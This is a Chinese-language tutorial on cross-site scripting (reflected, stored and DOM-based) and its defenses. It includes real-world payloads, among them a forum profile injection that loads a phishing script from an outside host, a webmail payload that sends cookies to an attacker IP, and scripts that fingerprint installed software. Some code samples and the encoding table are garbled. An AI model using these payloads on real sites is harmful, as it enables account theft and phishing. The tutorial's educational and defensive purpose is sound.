Web***系列教程之跨站腳本***和防範技巧詳解

XSS跨站腳本***一直都被認爲是客戶端Web安全中最主流的***方式。因爲Web環境的複雜性以及XSS跨站腳本***的多變性，使得該類型***很難徹底解決。那麼，XSS跨站腳本***具體***行爲是什麼，又該如何進行有效的防範呢？本文對此進行了有針對性的具體實例分析。

跨站腳本***（Cross Site Scripting）是指***者利用網站程序對用戶輸入過濾不足，輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼，從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種***方式。爲了與層疊樣式表（Cascading Style Sheets）的縮寫CSS區分開，跨站腳本***通常簡寫爲XSS。

下面這個頁面的主要作用是獲取用戶輸入的參數作爲用戶名，並在頁面中顯示“歡迎您，XXX”的形式，具體代碼如下：

<?php

$username = $_GET["name"];

echo "<p>歡迎您, ".$username."!</p>";

正常情況下，用戶會在URL中提交參數name的值爲自己的姓名，然後該數據內容會通過以上代碼在頁面中展示，如用戶提交姓名爲“張三”，完整的URL地址如下：

http://localhost/test.php?name=張三

在瀏覽器中訪問時，會顯示如下圖1所示內容：

圖1

此時，因爲用戶輸入的數據信息爲正常數據信息，經過腳本處理以後頁面反饋的源碼內容爲<p>歡迎您, 張三!</p>。但是如果用戶提交的數據中包含有可能被瀏覽器執行的代碼的話，會是一種什麼情況呢？我們繼續提交name的值爲<script>alert(/我的名字是張三/)</script>,即完整的URL地址爲
http://localhost/test.php?name=<script>alert(/我的名字是張三/)</script>

在瀏覽器中訪問時，我們發現會有彈窗提示，如下圖2所示：

圖2

那麼此時頁面的源碼又是什麼情況呢？

源碼變成了“<p>歡迎您, <script>alert(/我的名字是張三/)</script>!</p>”，從源代碼中我們發現，用戶輸入的數據中，<script>與</script>標籤中的代碼被瀏覽器執行了，而這並不是網頁腳本程序想要的結果。這個例子正是最簡單的一種XSS跨站腳本***的形式，稱之爲反射型XSS。

XSS跨站腳本***的分類

根據XSS跨站腳本***存在的形式及產生的效果，可以將其分爲以下三類。

一、反射型XSS跨站腳本***

反射型XSS腳本***即如我們上面所提到的XSS跨站腳本***方式，該類型只是簡單地將用戶輸入的數據直接或未經過完善的安全過濾就在瀏覽器中進行輸出，導致輸出的數據中存在可被瀏覽器執行的代碼數據。由於此種類型的跨站代碼存在於URL中，所以***通常需要通過誘騙或加密變形等方式，將存在惡意代碼的鏈接發給用戶，只有用戶點擊以後才能使得***成功實施。

二、存儲型XSS跨站腳本***

存儲型XSS腳本***是指Web應用程序會將用戶輸入的數據信息保存在服務端的數據庫或其他文件形式中，網頁進行數據查詢展示時，會從數據庫中獲取數據內容，並將數據內容在網頁中進行輸出展示，因此存儲型XSS具有較強的穩定性。

存儲型XSS腳本***最爲常見的場景就是在博客或新聞發佈系統中，***將包含有惡意代碼的數據信息直接寫入文章或文章評論中，所有瀏覽文章或評論的用戶，都會在他們客戶端瀏覽器環境中執行插入的惡意代碼。如流行的Bo-Blog程序的早期版本中存在對用戶提交評論數據過濾不嚴導致的XSS跨站腳本***漏洞，***可以在文章評論中提交插入惡意數據的UBB代碼，提交後，Bo-Blog程序會將數據保存至數據庫中，當用戶瀏覽該日誌時，就會執行插入的惡意代碼，如圖3所示。

圖3

三、基於DOM的XSS跨站腳本***

基於DOM的XSS跨站腳本***是通過修改頁面DOM節點數據信息而形成的XSS跨站腳本***。不同於反射型XSS和存儲型XSS，基於DOM的XSS跨站腳本***往往需要針對具體的javascript DOM代碼進行分析，並根據實際情況進行XSS跨站腳本***的利用。讓我們來針對如下代碼進行詳細分析：

<html>

<head>

<title>DOM Based XSS Demo</title>

function xsstest()

{

var str = document.getElementById("input").value;

document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";

}

</script>

</head>

<body>

</body>

</html>

以上代碼的作用是提交一個圖片的URL地址以後，程序會將圖片在頁面中進行展示，如我們提交百度LOGO圖片的地址http://www.baidu.com/img/baidu_sylogo1.gif，那麼在頁面中展示結果如下圖4所示。

圖4

當用戶輸入完百度LOGO的地址，點擊“提交”按鈕後，“提交”按鈕的 src=” http://www.baidu.com/img/baidu_sylogo1.gif”></img>”。

以上情況爲正常的用戶輸入情況，那***又是怎麼利用該種類型代碼實現XSS跨站腳本***的呢？***可以通過構造如下數據，輸入“#’ onerror=’javascript:alert(/DOM Based XSS Test/)”，在瀏覽器中提交後，發現代碼果然被執行，出現了彈窗提示，如下圖5所示。

圖5

XSS跨站腳本***實例

以上是針對XSS跨站腳本***三種類型的簡單介紹。看了上面的描述朋友們或許會想，難道僅僅彈出一個提示框就是XSS跨站腳本***了嗎？答案當然是否定的，XSS跨站腳本***的利用可以實現多種效果，甚至可以說XSS跨站腳本***漏洞的利用是一種******的藝術，下面我們結合具體實例進行詳細的分析和描述，瞭解一下XSS跨站腳本***都能做些什麼事情。

XSS跨站腳本***利用釣魚

目前，網絡釣魚***的方式比較多，包括申請註冊相似域名，構建相似度高的網站環境和發佈虛假中獎信息等，但是以上釣魚***方式針對有一定安全意識的網民來說，很難實現成功的釣魚***。然而通過XSS跨站腳本***漏洞進行的釣魚***，即使有一定安全意識的網民，也無法抵禦。這裏我們以盛大遊戲論壇的XSS跨站腳本***漏洞利用的釣魚***演示（目前，該漏洞已經修復）。首先，我們需要了解的是，盛大的遊戲登錄都是使用盛大通行證進行登錄的，而盛大的遊戲論壇也是使用盛大通行證進行登錄，所以，如果***通過盜取遊戲玩家登錄論壇時的信息，就相當於盜取了玩家遊戲賬號和密碼。盛大的遊戲論壇就存在XSS跨站腳本***漏洞，使得***可以通過該漏洞獲取用戶的賬號和密碼。存在過濾不嚴的位置爲用戶資料中的個人主頁部分，通過在個人主頁欄中輸入如下代碼：

[url]http://'' STYLE='a:expression(document.write("<s\143ript language=javas\143ript src=http://www.123.com/1.jpg Charset=GB23></s\143ript>"))' target=_blank[/url]

然後利用該賬號在論壇中發帖子或回覆，這樣當其他玩家訪問我們發佈或回覆的帖子時，就會執行我們插入的惡意代碼。http://www.123.com/1.jpg就是我們構造的惡意代碼，這個代碼是我們用來釣魚的頁面，如下圖6所示：

圖6

顯示的內容和盛大官方遊戲論壇登錄的頁面一樣，如果不通過查看網頁源代碼的方式是無法從頁面顯示中看出任何問題的，當玩家輸入通行證賬號和密碼信息並點擊登錄時，賬號提交的地址不是盛大的服務器，而是***的服務器。從源碼中，可以看到賬號和密碼發送到的***服務器賬號接收程序的地址，如下圖7所示：

圖7

XSS跨站腳本***盜取用戶Cookie信息

通過XSS跨站腳本***盜取用戶Cookie信息一直是XSS跨站腳本***漏洞利用的最主流方式之一。當用戶正常登錄Web應用程序時，用戶會從服務端得到一個包含有會話令牌的cookie：
Set-Cookie： SessionID=6010D6F2F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
***則可以通過XSS跨站腳本***的方式將嵌入惡意代碼的頁面發送給用戶，當用戶點擊瀏覽時，***即可獲取用戶的Cookie信息並用該信息欺騙服務器端，無需賬號密碼即可直接成功登錄。這裏我們以網易郵箱的XSS跨站腳本***漏洞爲例進行分析和描述。網易郵箱老版本中，曾經存在一個XSS跨站腳本***漏洞，***可以構造如下代碼：

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

圖8

並將包含有如圖8所示惡意代碼的郵件發送至網易郵箱用戶時，用戶打開了含有惡意代碼的郵件後，代碼就會自動將用戶的cookie信息發送到61.130.75.239上的163.asp文件，其中163.asp的作用是記錄發送過來的Cookie，記錄的Cookie內容如下圖9所示：

圖9

在接收到Cookie以後，就可以通過Cookie欺騙的方式實現登錄目標郵箱了，如圖10所示。

圖10

XSS跨站腳本***蒐集客戶端環境信息

蒐集客戶端環境信息在更多的時候主要應用於指定目標的******或網絡掛馬***，如瞭解客戶端環境所使用的瀏覽器信息、操作系統信息、組件是否安裝以及安全防護軟件安裝情況等。通過XSS跨站腳本***可以更加方便、快速地實現客戶端環境信息的收集。

那麼如何通過javascript收集以上信息呢？我們構造如下腳本代碼，並在瀏覽器中執行這段代碼。

alert(navigator.userAgent);

</script>

得到的結果如下圖11所示。

圖11

這個信息中告訴了我們以上關心的兩個信息，一個是瀏覽器的類型和版本，另外一個是客戶端環境操作系統的版本。

瀏覽器：MSIE 8.0（微軟IE瀏覽器，瀏覽器版本是8.0）

操作系統：Windows NT 6.1（操作系統類型是windows 7）

通過以上方式可以獲取客戶端的瀏覽器和操作系統信息，接下來我們在繼續判斷客戶端環境組件安裝情況。構造代碼如下：

try{

var object = new ActiveXObject("XunLeiBHO.ThunderIEHelper");

} catch(e){ alert("迅雷軟件未安裝");

}

</script>

客戶端環境中如果安裝迅雷下載軟件的話，那麼就會安裝相應的ActiveX控件XunLeiBHO.ThunderIEHelper，以上腳本的作用即是通過網頁腳本去加載迅雷的ActiveX控件，如果控件存在則不會拋出異常，否則就會拋出異常並被腳本捕獲，運行上面的腳本代碼時，安裝有迅雷的環境不會有任何提示，未安裝迅雷的環境就會彈窗提示“迅雷軟件未安裝”。

控件判斷可以通過網頁加載ActiveX控件的方式實現，那麼怎麼通過腳本判斷客戶端環境中是否安裝了安全軟件呢？這裏我們以瑞星安全軟件爲例，分析描述如何通過XSS跨站腳本***漏洞的利用檢測客戶端環境是否存在瑞星安全軟件。我們構造代碼如下：

var havesoft=false;

var disk=['c','d'];

var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];

for(i=0;i<soft.length;i++)

{ for(j=0;j<disk.length;j++)

{ var img=new Image();

res='res://'+disk[j]+soft[i];

img.src=res;

if(img.height!=30)

{

havesoft=true;

}

</script>

以上代碼的作用是通過javascript結合res協議對客戶端環境中的資源文件進行加載，javascript腳本運行後，會對客戶端環境的C、D盤進行訪問，訪問是否存在瑞星默認安裝路徑的資源文件，並嘗試對資源文件進行加載，如果加載成功，則說明資源文件存在，也說明瑞星安全軟件的存在，並將變量havesoft置爲真，腳本檢測結束後，只需要檢測該變量是否爲真即可。

XSS Worm

相對於以上三種情況，可以說是XSS蠕蟲（XSS Worm）的破壞力和影響力都是巨大的。XSS蠕蟲主要發生在用戶之間存在交互行爲的頁面中，當Web應用程序對用戶輸入的數據信息沒有做嚴格的過濾時，通過結合Ajax的異步提交，就可以實現在植入惡意代碼的同時，將惡意代碼進行對外發送，即實現了代碼的感染和傳播，也就形成了XSS蠕蟲。

談到XSS蠕蟲就很有必要介紹一下新浪微博遭受XSS蠕蟲***事件，同時我們也以此次***事件作爲例子，對***惡意利用漏洞至XSS蠕蟲大範圍擴散的過程進行詳細分析和描述，並對該XSS蠕蟲的惡意腳本文件進行一下簡要的分析。

此處請參見拙作《從新浪微博被***事件看SNS網站的安全問題（下）》，不再贅述。

XSS跨站腳本***的防範

通過以上針對不同種情況的XSS跨站腳本***的描述，我們瞭解到了在複雜的Web環境中，XSS的利用是千變萬化的，如何能夠有效地防範XSS跨站腳本***問題一直都是瀏覽器廠商和網站安全技術人員關注的熱門話題。現在很多瀏覽器廠商都在自己的程序中增加了防範XSS跨站腳本***的措施，如IE瀏覽器從IE8開始內置了XSS篩選器，Firefox也有相應的CSP、Noscript擴展等。而對於網站的安全技術人員來說，提出高效的技術解決方案，保護用戶免受XSS跨站腳本***纔是關鍵。下面我們結合網站安全設計，描述一下如何通過技術手段實現XSS跨站腳本***的防範。

利用HttpOnly

HttpOnly最初是由微軟提出的，目前已經被多款流行瀏覽器廠商所採用。HttpOnly的作用不是過濾XSS跨站腳本***，而是瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie，解決XSS跨站腳本***後的Cookie會話劫持行爲。

httpOnly是在Set-Cookie時進行標記的，設置的Cookie頭格式如下：

Set-Cookie: <name>=<value>[; <name>=<value>]

[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure][; HttpOnly]

以php爲例，在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支持，如

<?php

setcookie("user", "admin", NULL, NULL, NULL, NULL, TRUE);

通過以上代碼就可以設置user這個cookie，將其設置爲HttpOnly，setcookie函數實質是通過向客戶端發送原始的HTTP報文頭進行設置的，document將不可見這個Cookie，所以使用document.cookie就取不到這個Cookie，也就是先了對Cookie的保護。

完善的輸入和輸出檢查

由於三種XSS跨站腳本***類型的漏洞成因可不相同，針對輸入輸出的檢查一部分適用於反射型XSS與存儲型XSS，而另外一些檢查適用於基於DOM的XSS。

A. 防範反射型XSS和存儲型XSS

輸入檢查在大多數的時候都是對可信字符的檢查或輸入數據格式的檢查，如用戶輸入的註冊賬號信息中只允許包括字母、數字、下劃線和漢字等，對於輸入的一切非白名單內的字符均認爲是非法輸入。數據格式如輸入的IP地址、電話號碼、郵件地址、日期等數據都具有一定的格式規範，只有符合數據規範的輸入信息才允許通過檢查。

輸出檢查主要是針對數據展示過程中，應該對數據信息進行HTML編碼處理，將可能存在導致XSS跨站腳本***的惡意字符進行編碼，在不影響正常數據顯示的前提條件下，過濾惡意字符。常見的可能造成XSS跨站腳本***的字符及其HTML編碼如下：

“ "

‘ '

& &

< <

> >

除了常用的編碼外，任何字符都可以使用其ASCII碼進行HTML編碼，如

% %

* *

B. 防範基於DOM的XSS

從基於DOM的XSS的定義及其觸發方式我們發現，當基於DOM的XSS跨站腳本***發生時，惡意數據的格式與傳統的XSS跨站腳本***數據格式有一定的差異，甚至可以在不經過服務器端的處理和相應的情況下，直接對客戶端實施***行爲，因此上述我們應用於防範反射型XSS和存儲型XSS的方法並不適用於防範基於DOM的XSS跨站腳本***。

針對基於DOM的XSS防範的輸入檢查方法，我們發現在客戶端部署相應的安全檢測代碼的過濾效果要比在服務器端檢測的效果更加明顯。例如，我們可以通過如下客戶端檢測代碼來保證用戶輸入的數據只包含字母、數字和空格，代碼如下：

var str = document.URL;

str = str.substring(str.indexOf("username=")+9, str.length);

str = unescape(str);

var regex=/^([A-Za-z0-9+\s])*$/;

if (regex.test(str))

document.write(str);

</script>

同樣，我們也可以通過在服務端實現類似上述數據檢查的功能，如在服務器端檢測URL參數是否爲預定的參數username,並對username參數的內容進行檢測，確認數據內容是否爲只包含數字、字母和空格符，實現服務端的數據過濾。但是，由於客戶端數據的可控性，這種服務端檢測的效果要明顯弱於客戶端檢測。

基於DOM的XSS輸出檢查與反射型XSS漏洞輸出檢查的方法相似，在將用戶可控的DOM數據內容插入到文檔之前，Web應用程序應對提交的數據進行HTML編碼處理，將用戶提交的數據中可能存在的各種危險字符和表達式進行過濾以安全的方式插入到文檔中進行展現，如可以通過如下函數實現在客戶端javascript中執行HTML編碼處理。

function jsEncode(str)

{

var d = document.createElement('div');

d.appendChild(document.createTextNode(str));

return d.innerHTML;

}

XSS跨站腳本***作爲Web應用安全領域中最大威脅之一，不僅僅危害Web應用業務的正常運營，對訪問Web應用業務的客戶端環境和用戶也帶來了直接安全影響。雖然XSS跨站腳本***在複雜的Web應用環境中利用方式千變萬化，但是網絡安全人員通過對Web應用的各種環境進行詳細分析和處理，完全阻斷XSS跨站腳本***是可以實現的。如何有效防範和阻止XSS跨站腳本***，保障Web應用系統的業務安全和正常運營，保護客戶端用戶免受XSS跨站腳本***行爲的侵害，是Web應用系統管理人員和網絡安全產品開發人員的共同職責。

本文來源：瑞星安全資訊

Web系列教程之跨站腳本和防範技巧詳解

Kafka存儲機制

aws語音呼叫調用，告警電話

【轉】[C#] WebAPI 防止併發調用二（冥等性）

HTTP URL 詳解

創新工具：2024年開發者必備的一款表格控件（二）

車牌識別控制檯可快速整合二次開發

淺析 Linux 初始化 init 系統，第 3 部分: Systemd

Debian 8 Jessie國內的幾個軟件源

在Linode VPS Debian上快速搭建***（PPTP）

淺析 Linux 初始化 init 系統，第 3 部分: Systemd

Web系列教程之跨站腳本和防範技巧詳解

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結